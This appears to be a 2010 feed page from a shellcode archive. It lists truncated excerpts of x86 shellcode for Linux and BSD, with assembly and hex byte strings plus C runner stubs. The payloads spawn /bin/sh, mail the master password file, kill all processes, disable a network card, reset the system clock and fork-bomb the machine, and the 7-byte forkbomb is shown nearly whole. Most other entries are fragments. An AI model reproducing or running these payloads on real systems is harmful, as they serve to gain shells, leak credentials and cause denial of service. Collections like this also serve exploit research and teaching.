Online Linux Shellcode

bsdi/x86 execve /bin/sh toupper evasion 97 bytes

Online Linux Shellcode - Fri, 07/02/2010 - 02:02
... add $0x6,%eax int $0x80 xor %eax,%eax add $0x1,%eax int $0x80 .string "BIN/SH" */ char ... (int (*)()) code; printf("BSDi old shellcode, %d bytes\n", strlen(code)); (int)(*f) ...

linux/x86 execve /bin/sh 24 bytes

Online Linux Shellcode - Fri, 07/02/2010 - 02:02
char shellcode[]= "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x68\x6e ... "Shellcode lenght=%d\n",strlen(shellcode)); (*ret) = (int)shellcode; } // milw0rm. ...

D

Online Linux Shellcode - Fri, 07/02/2010 - 02:02
s0t4ipv6@shellcode.com.ar 92 bytes. _execve(/bin/sh -c "/bin/cat /etc/master.passwd|mail root@localhost" ... x80" /* int $0x80 */ "\xe8\xd6\xff\xff\xff" /* call <shellcode+2> ...

linux/x86 /bin/sh polymorphic shellcode 48 bytes

Online Linux Shellcode - Fri, 07/02/2010 - 02:02
DataBase of shellcode : http://www.shell-storm.org/shellcode/ Original Informations ... cd 80 int $0x80 */ #include "stdio.h" char shellcode[] = "\xeb\x11 ...

hello.asm

Online Linux Shellcode - Fri, 07/02/2010 - 02:02
... the stack mov dl, 5 ;length of the string int 0x80 xor eax, eax mov al, 1 ;exit the shellcode xor ebx,ebx int 0x80 ender: call starter db 'hello' ...

freebsd/x86 setreuid, execve(pfctl -d) 56 bytes

Online Linux Shellcode - Wed, 06/30/2010 - 00:02
... eax, eax push eax push eax mov al, 126 push eax int 0x80 ; setreuid ... ecx push ebx mov ecx, esp push eax push ecx push ebx mov al, 0x3b push eax int ...

execve-0x02.asm

Online Linux Shellcode - Fri, 06/25/2010 - 18:02
24 bytes ; Shellcode-Id ...: 814266649011790e99a9ff58773ea15e ; Shellcode-Arch .: x86 ; Nasm-Version ... dummy mov al, 0x3b ; value of SYS_execve int 0x80 ; invoke kernel ...

linux/x86 killall5 polymorphic shellcode 61 bytes

Online Linux Shellcode - Tue, 06/22/2010 - 15:02
DataBase of shellcode ==> http://www.shell-storm.org/shellcode/ killall5 is the SystemV ... int $0x80 */ #include "stdio.h" int main(int argc, char *argv[]) { char shellcode ...

shell.asm

Online Linux Shellcode - Tue, 06/22/2010 - 15:02
... push %ebx mov %esp, %ecx int $0x80 .ifdef SAFE # exit xor %eax, %eax inc %eax xor %ebx, %ebx int $0x80 .endif # SAFE 1: call 2b .ascii "/bin/sh" ...

linux/x86 forkbomb 7 bytes

Online Linux Shellcode - Tue, 06/22/2010 - 15:02
... _start: * push byte 2 * pop eax * int 0x80 * jmp short _start */ main() { char shellcode[] = "\x6a\x02\x58\xcd\x80\xeb\xf9"; (*(void (*)()) shellcode) ...

heapoverflow.asm

Online Linux Shellcode - Tue, 06/15/2010 - 08:02
... 8049844: cd 80 int $0x80 8049846: 31 db xor %ebx,%ebx 8049848: 89 d8 ... cd 80 int $0x80 804984d: e8 dc ff ff ff call 804982e &lt;shellcode+0xe&gt; 8049852: ...

linux/x86 set system time to 0 and exit 12 bytes

Online Linux Shellcode - Tue, 06/15/2010 - 08:02
No real damage :) * * exit() code is the last 5 bytes (0x6a - 0x80) ... esp * int 0x80 * * ; exit() * * inc eax * int 0x80 */ main() { char shellcode[] = "\x6a ...

D

Online Linux Shellcode - Mon, 06/14/2010 - 07:02
/* Title: Polymorphic Shellcode /bin/sh - 48 bytes Author: Jonathan Salwan Mail: ... Shellcode - length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return ...

linux/x86 Polymorphic shellcode disable Network Card 75 bytes

Online Linux Shellcode - Sat, 06/12/2010 - 05:02
... mov %esp,%ecx * 8048091: cd 80 int $0x80 * */ main() { char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x51\x80" "\x6c\x0e\xff\x01\x80\xe9\x01\x75" ...
Syndicate content